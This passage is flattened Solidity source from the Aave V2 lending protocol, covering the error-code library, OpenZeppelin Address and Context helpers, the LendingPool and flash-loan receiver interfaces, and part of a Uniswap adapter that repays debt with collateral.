FLASHLOAN_PREMIUM_TOTAL() external returns (uint256); function USD_ADDRESS() external returns (address); function ORACLE() external returns (IPriceOracleGetter); function UNISWAP_ROUTER() external returns (IUniswapV2Router02); /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title Errors library * @author Aave * @notice Defines the error messages emitted by the different contracts of the Aave protocol * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken) * - AT = AToken * - SDT = StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = LendingPoolAddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolCollateralManager * - P = Pausable */ library Errors { //common errors string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin' string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen' string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance' string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.' string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled' string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected' string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow' string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt' string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed' string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve' string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve' string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0' string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral' string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve' string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met' string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed' string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow' string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.' string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent' string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator' string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28'; string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool' string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself' string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero' string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized' string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin' string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered' string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold' string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated' string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency' string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate" string public constant LPCM_NO_ERRORS = '46'; // 'No errors' string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant LP_FAILED_COLLATERAL_SWAP = '60'; string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61'; string public constant LP_REENTRANCY_NOT_ALLOWED = '62'; string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74'; string public constant UL_INVALID_INDEX = '77'; string public constant LP_NOT_CONTRACT = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; enum CollateralManagerErrors { NO_ERROR, NO_COLLATERAL_AVAILABLE, COLLATERAL_CANNOT_BE_LIQUIDATED, CURRRENCY_NOT_BORROWED, HEALTH_FACTOR_ABOVE_THRESHOLD, NOT_ENOUGH_LIQUIDITY, NO_ACTIVE_RESERVE, HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD, INVALID_EQUAL_ASSETS_TO_SWAP, FROZEN_RESERVE } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; /** * @title IFlashLoanReceiver interface * @notice Interface for the Aave fee IFlashLoanReceiver. * @author Aave * @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract **/ interface IFlashLoanReceiver { function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool); function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider); function LENDING_POOL() external view returns (ILendingPool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from './ILendingPoolAddressesProvider.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; interface ILendingPool { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address indexed user, uint256 debtToCover, uint256 liquidatedCollateralAmount, address liquidator, bool receiveAToken ); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it * gets added to the LendingPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param stableBorrowRate The new stable borrow rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param asset The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param asset The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole aToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address asset, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral, or he was given enough allowance by a credit delegator on the * corresponding debt token (StableDebtToken or VariableDebtToken) * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet * and 100 stable/variable debt tokens, depending on the `interestRateMode` * @param asset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance **/ function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param asset The address of the borrowed underlying asset previously borrowed * @param amount The amount to repay * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode` * @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * @return The final amount repaid **/ function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external returns (uint256); /** * @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa * @param asset The address of the underlying asset borrowed * @param rateMode The rate mode that the user wants to swap to **/ function swapBorrowRateMode(address asset, uint256 rateMode) external; /** * @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve. * - Users can be rebalanced if the following conditions are satisfied: * 1. Usage ratio is above 95% * 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been * borrowed at a stable rate and depositors are not earning enough * @param asset The address of the underlying asset borrowed * @param user The address of the user to be rebalanced **/ function rebalanceStableBorrowRate(address asset, address user) external; /** * @dev Allows depositors to enable/disable a specific deposited asset as collateral * @param asset The address of the underlying asset deposited * @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise **/ function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external; /** * @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1 * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover, bool receiveAToken ) external; /** * @dev Allows smartcontracts to access the liquidity of the pool within one transaction, * as long as the amount taken plus a fee is returned. * IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. * For further details please visit https://developers.aave.com * @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface * @param assets The addresses of the assets being flash-borrowed * @param amounts The amounts amounts being flash-borrowed * @param modes Types of the debt to open if the flash loan is not returned: * 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver * 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address * @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2 * @param params Variadic packed params to pass to the receiver as extra information * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; /** * @dev Returns the user account data across all the reserves * @param user The address of the user * @return totalCollateralETH the total collateral in ETH of the user * @return totalDebtETH the total debt in ETH of the user * @return availableBorrowsETH the borrowing power left of the user * @return currentLiquidationThreshold the liquidation threshold of the user * @return ltv the loan to value of the user * @return healthFactor the current health factor of the user **/ function getUserAccountData(address user) external view returns ( uint256 totalCollateralETH, uint256 totalDebtETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor ); function initReserve( address reserve, address aTokenAddress, address stableDebtAddress, address variableDebtAddress, address interestRateStrategyAddress ) external; function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress) external; function setConfiguration(address reserve, uint256 configuration) external; /** * @dev Returns the configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The configuration of the reserve **/ function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); /** * @dev Returns the configuration of the user across all the reserves * @param user The user address * @return The configuration of the user **/ function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromAfter, uint256 balanceToBefore ) external; function getReservesList() external view returns (address[] memory); function getAddressesProvider() external view returns (ILendingPoolAddressesProvider); function setPause(bool val) external; function paused() external view returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title UniswapRepayAdapter * @notice Uniswap V2 Adapter to perform a repay of a debt with collateral. * @author Aave **/ contract UniswapRepayAdapter is BaseUniswapAdapter { struct RepayParams { address collateralAsset; uint256 collateralAmount; uint256 rateMode; PermitSignature permitSignature; bool useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Uses the received funds from the flash loan to repay a debt on the protocol on behalf of the user. Then pulls * the collateral from the user and swaps it to the debt asset to repay the flash loan. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset, swap it * and repay the flash loan. * Supports only one asset on the flash loan. * @param assets Address of debt asset * @param amounts Amount of the debt to be repaid * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset Address of the reserve to be swapped * uint256 collateralAmount Amount of reserve to be swapped * uint256 rateMode Rate modes of the debt to be repaid * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v V param for the permit signature * bytes32 r R param for the permit signature * bytes32 s S param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); RepayParams memory decodedParams = _decodeParams(params); _swapAndRepay( decodedParams.collateralAsset, assets[0], amounts[0], decodedParams.collateralAmount, decodedParams.rateMode, initiator, premiums[0], decodedParams.permitSignature, decodedParams.useEthPath ); return true; } /** * @dev Swaps the user collateral for the debt asset and then repay the debt on the protocol on behalf of the user * without using flash loans. This method can be used when the temporary transfer of the collateral asset to this * contract does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset * @param collateralAsset Address of asset to be swapped * @param debtAsset Address of debt asset * @param collateralAmount Amount of the collateral to be swapped * @param debtRepayAmount Amount of the debt to be repaid * @param debtRateMode Rate mode of the debt to be repaid * @param permitSignature struct containing the permit signature * @param useEthPath struct containing the permit signature */ function swapAndRepay( address collateralAsset, address debtAsset, uint256 collateralAmount, uint256 debtRepayAmount, uint256 debtRateMode, PermitSignature calldata permitSignature, bool useEthPath ) external { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); DataTypes.ReserveData memory debtReserveData = _getReserveData(debtAsset); address debtToken = DataTypes.InterestRateMode(debtRateMode) == DataTypes.InterestRateMode.STABLE ? debtReserveData.stableDebtTokenAddress : debtReserveData.variableDebtTokenAddress; uint256 currentDebt = IERC20(debtToken).balanceOf(msg.sender); uint256 amountToRepay = debtRepayAmount <= currentDebt ? debtRepayAmount : currentDebt; if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (amountToRepay < debtRepayAmount) { maxCollateralToSwap = maxCollateralToSwap.mul(amountToRepay).div(debtRepayAmount); } // Get exact collateral needed for the swap to avoid leftovers uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, amountToRepay, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amounts[0], permitSignature ); // Swap collateral for debt asset _swapTokensForExactTokens(collateralAsset, debtAsset, amounts[0], amountToRepay, useEthPath); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, msg.sender, amountToRepay, permitSignature ); } // Repay debt. Approves 0 first to comply with tokens that implement the anti frontrunning approval fix IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amountToRepay); LENDING_POOL.repay(debtAsset, amountToRepay, debtRateMode, msg.sender); } /** * @dev Perform the repay of the debt, pulls the initiator collateral and swaps to repay the flash loan * * @param collateralAsset Address of token to be swapped * @param debtAsset Address of debt token to be received from the swap * @param amount Amount of the debt to be repaid * @param collateralAmount Amount of the reserve to be swapped * @param rateMode Rate mode of the debt to be repaid * @param initiator Address of the user * @param premium Fee of the flash loan * @param permitSignature struct containing the permit signature */ function _swapAndRepay( address collateralAsset, address debtAsset, uint256 amount, uint256 collateralAmount, uint256 rateMode, address initiator, uint256 premium, PermitSignature memory permitSignature, bool useEthPath ) internal { DataTypes.ReserveData memory collateralReserveData = _getReserveData(collateralAsset); // Repay debt. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(debtAsset).safeApprove(address(LENDING_POOL), 0); IERC20(debtAsset).safeApprove(address(LENDING_POOL), amount); uint256 repaidAmount = IERC20(debtAsset).balanceOf(address(this)); LENDING_POOL.repay(debtAsset, amount, rateMode, initiator); repaidAmount = repaidAmount.sub(IERC20(debtAsset).balanceOf(address(this))); if (collateralAsset != debtAsset) { uint256 maxCollateralToSwap = collateralAmount; if (repaidAmount < amount) { maxCollateralToSwap = maxCollateralToSwap.mul(repaidAmount).div(amount); } uint256 neededForFlashLoanDebt = repaidAmount.add(premium); uint256[] memory amounts = _getAmountsIn(collateralAsset, debtAsset, neededForFlashLoanDebt, useEthPath); require(amounts[0] <= maxCollateralToSwap, 'slippage too high'); // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, amounts[0], permitSignature ); // Swap collateral asset to the debt asset _swapTokensForExactTokens( collateralAsset, debtAsset, amounts[0], neededForFlashLoanDebt, useEthPath ); } else { // Pull aTokens from user _pullAToken( collateralAsset, collateralReserveData.aTokenAddress, initiator, repaidAmount.add(premium), permitSignature ); } // Repay flashloan. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. 